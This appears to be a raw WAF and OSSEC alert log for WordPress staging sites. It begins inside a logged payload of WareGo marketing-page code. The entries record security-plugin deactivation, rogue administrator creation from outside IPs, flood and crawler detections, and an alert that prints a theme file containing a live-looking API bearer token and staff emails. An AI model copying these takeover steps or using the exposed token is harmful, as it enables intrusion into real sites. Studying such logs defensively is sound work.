Hub</span>\n          <h3>Connect every tool your business runs on \xe2\x80\x94 in one click</h3>\n          <p>Browse, connect, and manage every integration from one screen. E-commerce platforms, marketplaces, couriers, accounting, ERP, automation tools. Click to connect. Refresh or disconnect anytime. New integrations added monthly.</p>\n        </div>\n        <div class=\"tour-visual\">\n          <div class=\"browser-frame\">\n            <div class=\"browser-frame-bar\">\n              <span class=\"browser-dot r\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot y\" aria-hidden=\"true\"></span>\n              <span class=\"browser-dot g\" aria-hidden=\"true\"></span>\n              <span class=\"browser-frame-url\">app.warego.co/integrations</span>\n            </div>\n            <img src=\"images/warego-integrations.png\" alt=\"WareGo Integrations Hub showing connected services UPS, Shopify, Woocommerce, Quickbooks with refresh and disconnect buttons; plus disconnected DHL, FedEx, Wix, Squarespace, Magento, Opencart, Amazon, Walmart, eBay, Xero, Freshbooks, and latest integrations Chat GPT, Zapier, Slack, Make\" loading=\"lazy\" width=\"1920\" height=\"1080\" data-zoom>\n          </div>\n        </div>\n        <div class=\"tour-footer\">\n          <ul class=\"tour-bullets\">\n            <li>One-click connect / refresh / disconnect for every integration</li>\n            <li>Categorized by E-commerce, Courier, Accounting, and more</li>\n            <li>\"Connected\" status indicators across every tile</li>\n            <li>Latest integrations highlighted (AI tools, automation, communication)</li>\n          </ul>\n        </div>\n      </div>\n    </div>\n\n    <div style=\"text-align: center; margin-top: 48px;\">\n      <a href=\"<?php echo $pageurl; ?>#trial\" class=\"btn btn-primary btn-lg\">Start Free \xe2\x80\x94 Explore WareGo Yourself</a>\n    </div>\n  </div>\n</section>\n\n<!-- ========== INDUSTRIES ========== -->\n<section class=\"section section--alt\" id=\"industries\">\n  <div class=\"container\">\n    <div class=\"section-header\">\n      <span class=\"eyebrow\">Industries We Serve</span>\n      <h2>Built for Every Type of Warehouse Operation</h2>\n      <p>From DTC e-commerce to cold-chain food, manufacturing to apparel, third-party logistics to wholesale distribution \xe2\x80\x94 WareGo's warehouse management software is configurable to your vertical, your SKU mix, and your compliance needs.</p>\n    </div>\n\n    <div class=\"industries-grid\">\n      <div class=\"industry-card reveal\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\" style=\"width:32px;height:32px;color:var(--wg-primary);margin-bottom:10px;\"><circle cx=\"9\" cy=\"21\" r=\"1\"/><circle cx=\"20\" cy=\"21\" r=\"1\"/><path d=\"M1 1h4l2.7 13.4a2 2 0 0 0 2 1.6h9.7a2 2 0 0 0 2-1.6L23 6H6\"/></svg><h3>eCommerce &amp; DTC Fulfillment</h3><p>Shopify, Amazon, Walmart, BigCommerce \xe2\x80\x94 fast-shipping SLAs, multi-channel inventory sync, returns workflows.</p></div>\n      <div class=\"industry-card reveal\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\" style=\"width:32px;height:32px;color:var(--wg-primary);margin-bottom:10px;\"><path d=\"M21 16V8a2 2 0 0 0-1-1.7l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.7l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z\"/><path d=\"M3.3 7L12 12l8.7-5M12 22V12\"/></svg><h3>B2B Wholesale &amp; Distribution</h3><p>EDI 850/856/810/940, retail compliance, pallet-level tracking, ASN generation for big-box partners.</p></div>\n      <div class=\"industry-card reveal\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\" style=\"width:32px;height:32px;color:var(--wg-primary);margin-bottom:10px;\"><path d=\"M2 20V8l4-4h12l4 4v12M2 20h20M6 20V10M10 20V10M14 20V10M18 20V10\"/></svg><h3>Manufacturing &amp; Assembly</h3><p>BOM, kitting, work-order staging, serial tracking, raw-material to finished-goods workflow.</p></div>\n      <div class=\"industry-card reveal\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\" style=\"width:32px;height:32px;color:var(--wg-primary);margin-bottom:10px;\"><path d=\"M12 2v20M8 6l4-4 4 4M16 18l-4 4-4-4M2 12h20M6 8l-4 4 4 4M18 8l4 4-4 4\"/></svg><h3>Cold Storage &amp; Food/Beverage</h3><p>FEFO picking, lot traceability, cold-chain temperature logging, FDA / FSMA-ready audit trails.</p></div>\n      <div class=\"industry-card reveal\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\" style=\"width:32px;height:32px;color:var(--wg-primary);margin-bottom:10px;\"><path d=\"M20.4 14.5L16 10l-4-4-8 8 4 4 4-4M16 10l4 4M3 16l4 4\"/></svg><h3>Apparel &amp; Footwear</h3><p>Size/color matrix SKUs, kitting, returns-heavy fulfillment, seasonality forecasting.</p></div>\n      <div class=\"industry-card reveal\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\" style=\"width:32px;height:32px;color:var(--wg-primary);margin-bottom:10px;\"><path d=\"M10.5 20.5C5 20.5 1 16.5 1 11C1 5.5 5 1.5 10.5 1.5C16 1.5 20.5 5.5 20.5 11\"/><path d=\"M16 13l5 5-2 2-5-5\"/></svg><h3>Cosmetics, Health &amp; Supplements</h3><p>FEFO, regulated lot tracing, FDA-ready logs, batch-level recall workflows.</p></div>\n      <div class=\"industry-card reveal\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\" style=\"width:32px;height:32px;color:var(--wg-primary);margin-bottom:10px;\"><circle cx=\"12\" cy=\"12\" r=\"10\"/><line x1=\"12\" y1=\"2\" x2=\"12\" y2=\"22\"/><path d=\"M2 12h20\"/></svg><h3>Automotive &amp; Industrial Parts</h3><p>VIN, lot, serial tracking; long-tail SKU management; aftermarket and dealer-distribution workflows.</p></div>\n      <div class=\"industry-card reveal\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\" style=\"width:32px;height:32px;color:var(--wg-primary);margin-bottom:10px;\"><path d=\"M3 3v18h18\"/><path d=\"M7 14l3-3 3 3 5-5\"/></svg><h3>Third-Party Logistics (3PL/4PL)</h3><p>Multi-client inventory segregation, activity-based billing, white-label client portals. <a href=\"/3pl-warehouse-management-system\" style=\"color: var(--wg-primary); font-weight: 600;\">See 3PL WMS \xe2\x86\x92</a></p></div>\n      <div class=\"industry-card reveal\"><svg class=\"icon-svg\" aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\" style=\"width:32px;height:32px;color:var(--wg-primary);margin-bottom:10px;\"><rect x=\"2\" y=\"7\" width=\"20\" height=\"14\" rx=\"2\"/><path d=\"M16 7V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v2\"/></svg><h3>Retail &amp; Omnichannel</h3><p>In-store   online unified inventory, BOPIS, ship-from-store, regional DC orchestration.</p></div>\n    </div>\n\n    <!-- Featured industry deep-dive: Manufacturing -->\n    <div class=\"industry-detail reveal\">\n      <div class=\"industry-detail-icon\">\n        <svg aria-hidden=\"true\" focusable=\"false\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"1.5\" fill=\"none\" stroke-linecap=\"round\" stroke-linejoin=\"round\">\n          <path d=\"M2 20V8l4-4h12l4 4v12M2 20h20M6 20V10M10 20V10M14 20V10M18 20V10\"/>\n        </svg>\n      </div>\n      <div>\n        <h3>Spotlight: Warehouse Management Software for Manufacturers</h3>\n        <p>Manufacturing warehouses face a fundamentally harder inventory problem than pure-play distributors. You're tracking raw materials, work-in-process, sub-assemblies, finished goods, and returns \xe2\x80\x94 often with serialization, batch records, and ISO compliance requirements layered on top. WareGo's warehouse management software handles BOM-driven kitting, work-order staging, lot &amp; serial traceability from raw material through finished SKU, and parts-staging workflows that feed assembly lines on time. Real-time integration with your ERP (NetSuite, SAP, Microsoft Dynamics) keeps inventory and financials in lockstep.</p>\n        <div class=\"industry-tags\">\n          <span class=\"industry-tag\">BOM-Driven Kitting</span>\n          <span class=\"industry-tag\">Lot &amp; Serial Traceability</span>\n          <span class=\"industry-tag\">Work-Order Staging</span>\n          <span class=\"industry-tag\">ISO 27001 Compliance</span>\n          <span class=\"industry-tag\">ERP Integration</span>\n          <span class=\"industry-tag\">Production Scheduling</span>\n        </div>\n        <div style=\"margin-top: 18px;\">\n          <a href=\"<?php echo $pageurl; ?>#demo\" class=\"btn btn-primary\">See Manufacturing Workflow Demo \xe2\x86\x92</a>\n        </div>\n      </div>\n    </div>\n  </div>\n</section>\n\n<!-- ========== WHY WAREGO ========== -->\n<section class=\"section\" id=\"why\">\n  <div class=\"container\">\n    <div class=\"section-header\">\n      <span class=\"eyebrow\">Why WareGo</span>\n      <h2>Why Warehouses Choose WareGo Over NetSuite, Fishbowl &amp; SAP</h2>\n      <p>Ten reasons WareGo wins evaluations \xe2\x80\x94 from SMB warehouses graduating off spreadsheets to mid-market distributors and manufacturers ready to scale without enterprise sticker shock.</p>\n    </div>\n\n    <div class=\"benefits-grid\">\n      <div class=\"benefit-card reveal\">\n        <div class=\"benefit-num\">01</div>\n        <h3>Transparent Pricing from $499/mo, No Hidden Fees</h3>\n        <p>NetSuite, Oracle, and SAP all hide pricing behind \"contact sales\" walls \xe2\x80\x94 most quotes land at $30K\xe2\x80\x93$150K/year before implementation. WareGo publishes a Standard tier at $499/mo (introductory price, regularly $600) and a Custom tier for high-volume operations \xe2\x80\x94 no setup fees, no per-user surprises, no hidden costs.</p>\n      </div>\n      <div class=\"benefit-card reveal\">\n        <div class=\"benefit-num\">02</div>\n        <h3>Go-Live in 4\xe2\x80\x938 Weeks, Not 4\xe2\x80\x936 Months</h3>\n        <p>Enterprise WMS deployments routinely stretch 8\xe2\x80\x9316 weeks per Gartner. Our guided onboarding gets warehouses operational in 4\xe2\x80\x938 weeks with templated data migration, integration setup, and staff training included.</p>\n      </div>\n      <div class=\"benefit-card reveal\">\n        <div class=\"benefit-num\">03</div>\n        <h3>1-Month Free Trial \xe2\x80\x94 No Credit Card</h3>\n        <p>Try the full Standard plan free for 30 days, no credit card required. Cancel anytime. Fishbowl, NetSuite, and SAP have no equivalent risk-free evaluation path.</p>\n      </div>\n      <div class=\"benefit-card reveal\">\n        <div class=\"benefit-num\">04</div>\n        <h3>Boost Efficiency 50% &amp; Cut Errors 70%</h3>\n        <p>Real customer outcomes. Automated picking workflows, real-time inventory accuracy, and AI forecasting strip out the manual touch points \xe2\x80\x94 and the errors that come with them.</p>\n      </div>\n      <div class=\"benefit-card reveal\">\n        <div class=\"benefit-num\">05</div>\n        <h3>AI-Native Demand Forecasting</h3>\n        <p>Machine-learning models reduce forecast error 20\xe2\x80\x9350% per McKinsey. Reorder triggers and slow-mover flags surface automatically per SKU per warehouse \xe2\x80\x94 not bolted on as an upcharge.</p>\n      </div>\n      <div class=\"benefit-card reveal\">\n        <div class=\"benefit-num\">06</div>\n        <h3>Built for SMB-to-Mid-Market Warehouses</h3>\n        <p>NetSuite and SAP are designed for enterprises \xe2\x80\x94 you feel it in the UI complexity and the price tag. Fishbowl was built on a traditional desktop foundation. WareGo is cloud-native, mobile-first, and engineered for warehouses doing 25 to 25,000 orders a day.</p>\n      </div>\n      <div class=\"benefit-card reveal\">\n        <div class=\"benefit-num\">07</div>\n        <h3>Pre-Built Integrations to Every Major Platform</h3>\n        <p>Shopify, Amazon, Walmart, eBay, BigCommerce, WooCommerce, NetSuite, SAP, Oracle, Microsoft Dynamics, QuickBooks, Xero, FedEx, UPS, DHL, EDI 850/856/810/940 \xe2\x80\x94 plus REST API and webhooks for anything else your business uses.</p>\n      </div>\n      <div class=\"benefit-card reveal\">\n        <div class=\"benefit-num\">08</div>\n        <h3>Multi-Warehouse Standard, Not an Upcharge</h3>\n        <p>Most warehouse management software charges per warehouse, per location, or per LPN. WareGo includes unlimited warehouses, aisles, shelves, and bin locations in every paid plan.</p>\n      </div>\n      <div class=\"benefit-card reveal\">\n        <div class=\"benefit-num\">09</div>\n        <h3>24/7 Human Support   Dedicated CSM</h3>\n        <p>Real warehouse problems happen at 3am. Our support is 24/7 \xe2\x80\x94 not \"5am\xe2\x80\x935pm Pacific\" or \"rotating regional teams\" like the legacy vendors. Plus a dedicated Customer Success Manager on the Custom plan.</p>\n      </div>\n      <div class=\"benefit-card reveal\">\n        <div class=\"benefit-num\">10</div>\n        <h3>Free Migration from Excel, Fishbowl, NetSuite &amp; SAP</h3>\n        <p>Templated SKU import, vendor-specific migration playbooks, rate-card translation, and historical-data ingestion \xe2\x80\x94 all included in onboarding. We've moved warehouses off every major legacy WMS.</p>\n      </div>\n    </div>\n\n    <div style=\"text-align: center; margin-top: 48px;\">\n      <a href=\"<?php echo $pageurl; ?>#trial\" class=\"btn btn-primary btn-lg\">Start Free \xe2\x80\x94 No Credit Card</a>\n    </div>\n  </div>\n</section>\n\n<!-- ========== COMPETITOR COMPARISON ========== -->\n<section class=\"section section--alt\" id=\"compare\">\n  <div class=\"container\">\n    <div class=\"section-header\">\n      <span class=\"eyebrow\">Side-by-Side</span>\n      <h2>WareGo vs NetSuite vs Fishbowl vs SAP</h2>\n      <p>Honest attribute-by-attribute comparison of the leading warehouse management software platforms in 2026 \xe2\x80\x94 pricing, deployment time, capabilities, and what each is actually best for.</p>\n    </div>\n\n    <div class=\"competitor-table-wrap\">\n      <table class=\"competitor-table\">\n        <thead>\n          <tr>\n            <th></th>\n            <th class=\"wg-col\">WareGo</th>\n            <th>NetSuite WMS</th>\n            <th>Fishbowl</th>\n            <th>SAP EWM</th>\n          </tr>\n        </thead>\n        <tbody>\n          <tr><td>Starting price</td><td class=\"wg-col\">$499/mo</td><td>$30k\xe2\x80\x93$150k/yr</td><td>$229\xe2\x80\x93$329/user/mo</td><td>Contact sales</td></tr>\n          <tr><td>1-month free trial</td><td class=\"wg-col yes\">\xe2\x9c\x93 No credit card</td><td class=\"no\">\xe2\x9c\x95</td><td class=\"partial\">14-day</td><td class=\"no\">\xe2\x9c\x95</td></tr>\n          <tr><td>Go-live time</td><td class=\"wg-col\">4\xe2\x80\x938 weeks</td><td>3\xe2\x80\x936 months</td><td>2\xe2\x80\x934 weeks</td><td>6\xe2\x80\x9312 months</td></tr>\n          <tr><td>Implementation fee</td><td class=\"wg-col yes\">$0\xe2\x80\x93$2k </td><td>$25k\xe2\x80\x93$100k </td><td>$2k\xe2\x80\x93$10k</td><td>$65k\xe2\x80\x93$500k </td></tr>\n          <tr><td>Per-user fees</td><td class=\"wg-col yes\">\xe2\x9c\x93 None</td><td class=\"no\">Yes ($)</td><td class=\"no\">Yes ($)</td><td class=\"no\">Yes ($)</td></tr>\n          <tr><td>Cloud-native</td><td class=\"wg-col yes\">\xe2\x9c\x93 Browser   Mobile</td><td class=\"yes\">\xe2\x9c\x93</td><td class=\"partial\">Desktop   Cloud</td><td class=\"partial\">Hybrid</td></tr>\n          <tr><td>Mobile barcode scanning</td><td class=\"wg-col yes\">\xe2\x9c\x93 iOS   Android</td><td class=\"yes\">\xe2\x9c\x93</td><td class=\"yes\">\xe2\x9c\x93</td><td class=\"yes\">\xe2\x9c\x93</td></tr>\n          <tr><td>Multi-warehouse included</td><td class=\"wg-col yes\">\xe2\x9c\x93</td><td class=\"partial\">Tier-based</td><td class=\"partial\">Add-on</td><td class=\"yes\">\xe2\x9c\x93</td></tr>\n          <tr><td>AI demand forecasting</td><td class=\"wg-col yes\">\xe2\x9c\x93 Native</td><td class=\"partial\">Add-on (NetSuite Planning)</td><td class=\"no\">\xe2\x9c\x95</td><td class=\"partial\">Module</td></tr>\n          <tr><td>24/7 human support</td><td class=\"wg-col yes\">\xe2\x9c\x93</td><td class=\"partial\">Business hours</td><td class=\"partial\">Timezone-varies</td><td class=\"partial\">SLA-dependent</td></tr>\n          <tr><td>QuickBooks native integration</td><td class=\"wg-col yes\">\xe2\x9c\x93 Two-way</td><td class=\"no\">Not applicable</td><td class=\"yes\">\xe2\x9c\x93 Native</td><td class=\"no\">Custom integration</td></tr>\n          <tr><td>FEFO / Lot / Cold-chain</td><td class=\"wg-col yes\">\xe2\x9c\x93 All native</td><td class=\"yes\">\xe2\x9c\x93</td><td class=\"partial\">Lot only</td><td class=\"yes\">\xe2\x9c\x93</td></tr>\n          <tr><td>Best for</td><td class=\"wg-col\">SMB to mid-market</td><td>Mid-market to enterprise</td><td>QuickBooks-driven SMB</td><td>Enterprise only</td></tr>\n        </tbody>\n      </table>\n    </div>\n    <p style=\"text-align: center; font-size: 0.825rem; color: var(--wg-text-light); margin-top: 16px;\">Comparison reflects publicly available pricing &amp; feature data as of 2026 from vendor sites, Software Connect, ERP Software Blog, SelectHub, and Capterra. Vendor offerings may change.</p>\n\n    <div style=\"text-align: center; margin-top: 32px;\">\n      <a href=\"<?php echo $pageurl; ?>#trial\" class=\"btn btn-primary btn-lg\">Try WareGo Free \xe2\x86\x92</a>\n    </div>\n  </div>\n</section>\n\n<!-- ========== ROI CALCULATOR (3-step gated) ========== -->\n<?php echo do_shortcode('[contact-form-7 id=\"3d925e4\" title=\"warehouse management form\


plugin: modsec
rule: 77433261
name: IM360 WAF: Imunify Security plugin bulk deactivation detected
abuser: 45.131.95.72
country_id: 146669
domain: staging.marktechfusion.com
description:
IM360 WAF: Imunify Security plugin bulk deactivation detected||MV:imunify-security/imunify-security.php||WPU:marktechadmin||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77433249
name: IM360 WAF: Track WordPress admin user creation
abuser: 45.131.95.72
country_id: 146669
domain: staging.marktechfusion.com
description:
IM360 WAF: Track WordPress admin user creation||WPU:marktechadmin||NewUser:hafebers||Email:stagingnb@hotmail.com||Role:administrator||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77433249
name: IM360 WAF: Track WordPress admin user creation
abuser: 161.123.152.24
country_id: 357994
domain: staging.marktechfusion.com
description:
IM360 WAF: Track WordPress admin user creation||WPU:marktechadmin||NewUser:hafebers||Email:stagingvm@gmail.com||Role:administrator||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77433249
name: IM360 WAF: Track WordPress admin user creation
abuser: 23.26.46.23
country_id: 1861060
domain: staging.marktechfusion.com
description:
IM360 WAF: Track WordPress admin user creation||WPU:marktechadmin||NewUser:hafebers||Email:stagingoe@yahoo.com||Role:administrator||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 182.190.193.248
country_id: 1168579
domain: devannasstore.trangotech.dev
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=288&quantity=1&davannas_purchase_type=one_time||QS:add-to-cart=288&quantity=1&davannas_purchase_type=one_time||RSV:8.19||T:APACHE||


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 22 06:26:47 staging sshd[300174]: Accepted publickey for ansible from 192.168.0.89 port 48372 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 22 07:30:21 staging sshd[330696]: Accepted publickey for ansible from 192.168.0.89 port 46820 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 22 07:48:25 staging sshd[338476]: Accepted publickey for ansible from 192.168.0.89 port 33786 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 22 10:06:27 staging sshd[409476]: Accepted publickey for ansible from 192.168.0.89 port 49810 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 22 12:11:56 staging sshd[466861]: Accepted publickey for ansible from 192.168.0.89 port 49562 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: ossec
rule: 5715
name: SSHD authentication success.
abuser: 192.168.0.89
description:
Jun 22 12:28:11 staging sshd[474475]: Accepted publickey for ansible from 192.168.0.89 port 55564 ssh2: RSA SHA256:xws9shc+5QT2iAE1QNKkNZC6rO4FO1Xzz2bj1jOINps


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 13.40.188.40
country_id: 2635167
domain: fendahl.trangotech.dev
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/101.0.4951.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 102.211.136.197
country_id: 192950
domain: fendahl.trangotech.dev
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:102.211.136.197||TA:102.211.136.197||


plugin: modsec
rule: 77789665
abuser: 119.73.102.234
country_id: 1168579
domain: warego.trangotech.dev
name:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)

description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:newcontent||MV:<?php\n/**\n * warego functions and definitions\n *\n * @link https://developer.wordpress.org/themes/basics/theme-functions/\n *\n * @package warego\n */\n\nif ( ! defined( '_S_VERSION' ) ) {\n\t// Replace the version number of the theme on each release.\n\tdefine( '_S_VERSION', 4.99 );\n}\n\ninclude ('functions/compiled_menus.php');\ninclude('custom-post-type/services.php');\ninclude('custom-post-type/pricing.php');\ninclude('custom-post-type/testimonials.php');\ninclude('custom-post-type/faqs.php');\ninclude('custom-post-type/industries-section.php');\ninclude('custom-post-type/inventory-section.php');\ninclude('custom-post-type/banner-logos.php');\ninclude('custom-post-type/integrations.php');\n// include('custom-post-type/resource.php');\ninclude('functions/enqueue-dequeue.php');\ninclude('functions/head.php');\n\nfunction is_valid_image_array($image) {\n    if (is_array($image) && count($image) && isset($image['url']) && isset($image['alt'])) {\n        return true;\n    }\n\n    return false;\n}\n\nfunction register_my_menu() {\n    register_nav_menu('footer-menu', __('Footer Menu'));\n}\nadd_action('init', 'register_my_menu');\n\n\nfunction footer_register_my_menu() {\n    register_nav_menu('primary-menu', __('Primary Menu'));\n}\nadd_action('init', 'footer_register_my_menu');\n\nrequire_once get_template_directory() . '/inc/class-wp-bootstrap-navwalker.php';\n\nfunction theme_setup() {\n    add_theme_support('title-tag');\n    add_theme_support('post-thumbnails');\n    add_theme_support('custom-logo', array(\n        'height'      => 100,\n        'width'       => 300,\n        'flex-height' => true,\n        'flex-width'  => true,\n    ));\n}\nadd_action('after_setup_theme', 'theme_setup');\n\nif( function_exists('acf_add_options_page') ) {\n    acf_add_options_page(array(\n        'page_title'    => 'Theme Footer Settings',\n        'menu_title'    => 'Footer Settings',\n        'menu_slug'     => 'footer-settings',\n        'capability'    => 'edit_posts',\n        'redirect'      => false\n    ));\n}\n\nfunction mytheme_widgets_init() {\n    register_sidebar(array(\n        'name'          => 'Footer Widget Area',\n        'id'            => 'footer-widget',\n        'before_widget' => '<div class=\"footer-widget\">',\n        'after_widget'  => '</div>',\n        'before_title'  => '<h3>',\n        'after_title'   => '</h3>',\n    ));\n}\nadd_action('widgets_init', 'mytheme_widgets_init');\n\n\n\nfunction subscribe_newsletter_ajax() {\n    if (isset($_POST['email']) && is_email($_POST['email'])) {\n        $email = sanitize_email($_POST['email']);\n        \n        // Assuming you are using the Newsletter plugin\n        if (function_exists('newsletter_subscribe')) {\n            newsletter_subscribe(array('email' => $email));\n            echo '<p>Thank you for subscribing!</p>';\n        } else {\n            echo '<p>Subscription failed. Please try again later.</p>';\n        }\n    } else {\n        echo '<p>Invalid email address.</p>';\n    }\n    wp_die(); // this is required to terminate immediately and return a response\n}\nadd_action('wp_ajax_subscribe_newsletter', 'subscribe_newsletter_ajax');\nadd_action('wp_ajax_nopriv_subscribe_newsletter', 'subscribe_newsletter_ajax');\n\n\n\n// nav menu icon\nadd_filter('wp_nav_menu_objects', 'navigation_wp_nav_menu_objects', 10, 2);\n\nfunction navigation_wp_nav_menu_objects( $nav__items, $args ) {\n    \n    // loop\n    foreach( $nav__items as &$nav__item ) {\n        \n        // vars\n        $nav__icon = get_field('navigation__icon', $nav__item);\n        $nav__icon_image = get_field('navigation_icon_image', $nav__item);\n\t\t\n        \n        \n        // append icon\n        if( $nav__icon ) {\n            $nav__item->title = $nav__icon . ' ' . $nav__item->title;\n        }\n\t\tif( $nav__icon_image ) {\n\t\t\t$img = '<img src=\"' . esc_url( $nav__icon_image['url'] ) . '\" width=\"' . $nav__icon_image['width'] . '\" height=\"' . $nav__icon_image['height'] . '\" alt=\"Header Menu Icon\" loading=\"lazy\">';\n\t\t\t$nav__item->title = $img . ' ' . $nav__item->title;\n\t\t}\n        \n    }\n    \n    \n    // return\n    return $nav__items;\n    \n}\n\n// Redirects\nadd_action( 'wp', function() {\n    if (is_page('industries')) wp_redirect(site_url());\n} );\n\n\n\nfunction is_modal_link($link) {\n    $attributes = '';\n\n    if (\n        is_string($link) &&\n        (substr($link, 0, 1) == '#') &&\n        str_contains($link, 'modal')\n        ) {\n        $attributes = 'data-bs-toggle=\"modal\" data-bs-target=\"' . $link . '\"';\n    }\n\n    return $attributes;\n}\n\nadd_action(\"wp_ajax_submit_affiliate_form\", \"submit_affiliate_form_callback\");\nadd_action(\"wp_ajax_nopriv_submit_affiliate_form\", \"submit_affiliate_form_callback\");\n\nfunction submit_affiliate_form_callback() {\n\n    if (!isset($_POST['form_data'])) {\n        wp_send_json_error(\"No form data received\");\n    }\n\n    parse_str($_POST['form_data'], $form_data);\n\n    $api_url = \"https://affiliates.warego.co/api/affiliate/create-new\";\n\n    $response = wp_remote_post($api_url, [\n        'body' => $form_data,\n        'timeout' => 30,\n        'headers' => [\n            'Accept'        => 'application/json',\n            'Authorization' => 'Bearer MddY2oO2r8lBqHRbPjl1zPUMugU312aP',\n        ],\n    ]);\n\n    if (is_wp_error($response)) {\n        wp_send_json_error($response->get_error_message());\n    }\n\n    $body = wp_remote_retrieve_body($response);\n    $decoded = json_decode($body, true);\n\n    $recipients = [\n\t\t'junaid.mohsin@eplanetglobal.com',\n\t\t'junaid.mohsin@trangotech.com',\n        'fahmed@eplanetglobal.com',\n    ]; \n\n    $subject = \"New Affiliate Submission\";\n\n    $message = \"<h2>New Affiliate Form Submission</h2>\";\n    foreach ($form_data as $key => $value) {\n        $message .= \"<p><strong>\" . esc_html(ucwords(str_replace('_', ' ', $key))) . \":</strong> \" . esc_html($value) . \"</p>\";\n    }\n\n    $headers = [\n        'Content-Type: text/html; charset=UTF-8',\n        'From: Warego Affiliates <no-reply@yourdomain.com>'\n    ];\n\n    wp_mail($recipients, $subject, $message, $headers);\n\n    if (json_last_error() === JSON_ERROR_NONE) {\n        wp_send_json_success($decoded);\n    } else {\n        wp_send_json_success($body);\n    }\n}\n\n\nif( function_exists('acf_add_options_page') ) {\n    \n    acf_add_options_page(array(\n        'page_title'    => 'Schema Settings', \n        'menu_title'    => 'Schema',          \n        'menu_slug'     => 'schema-settings', \n        'capability'    => 'edit_posts',      \n        'redirect'      => false              \n    ));\n\n}\n\nadd_action('wpcf7_before_send_mail', function ($contact_form) {\n\n    $submission = WPCF7_Submission::get_instance();\n    if (!$submission) return;\n\n    $data = $submission->get_posted_data();\n\n    $payload = [\n        'first_name'   => $data['firstname'] ?? '',\n        'last_name'    => $data['lastname'] ?? '',\n        'email'        => $data['email'] ?? '',\n        'phone_number' => $data['mobilephone'] ?? '',\n        'campaign_id'  => $data['campaign_id'] ?? '',\n        'affiliate_id' => $data['affiliate_id'] ?? '',\n    ];\n\n    $response = wp_remote_post('https://affiliates.warego.co/campaign-lead', [\n        'timeout' => 15,\n        'headers' => [\n            'Content-Type' => 'application/x-www-form-urlencoded; charset=UTF-8',\n        ],\n        'body' => $payload,\n    ]);\n\n    if (is_wp_error($response)) {\n        error_log('Affiliate API error: ' . $response->get_error_message());\n        return;\n    }\n\n    $code = wp_remote_retrieve_response_code($response);\n    if ($code < 200 || $code >= 300) {\n        error_log('Affiliate API non-2xx: ' . $code . ' body=' . wp_remote_retrieve_body($response));\n    }\n\n}, 10, 1);\n\nadd_filter( 'wpcf7_form_tag', 'custom_query_string_to_cf7', 10, 2 );\nfunction custom_query_string_to_cf7( $tag, $replace ) {\n    if ( $tag['name'] != 'campaign_id' && $tag['name'] != 'affiliate_id' ) return $tag;\n    \n    $get_value = isset( $_GET[$tag['name']] ) ? esc_attr( $_GET[$tag['name']] ) : '';\n    $tag['values'] = (array) $get_value;\n    \n    return $tag;\n}\n\n// Exclude Srcset from lazyload\nadd_filter('seraph_accel_imglazyload_excl_xpaths', function($xpaths) {\n    $xpaths[] = './/source[contains(@class,\"no-lazy\")]';\n    return $xpaths;\n});\n\n\n// Critical chaining resources\nadd_filter('seraph_accel_js_params', function($params) {\n    $params['defer'] = true;\n    return $params;\n});\nadd_filter('wpcf7_autop_or_not', '__return_false');||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 119.73.102.234
country_id: 1168579
domain: warego.trangotech.dev
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.19||T:APACHE||SC:/home/waregotrangotech/public_html/wp-admin/admin-ajax.php||


plugin: modsec
rule: 77316831
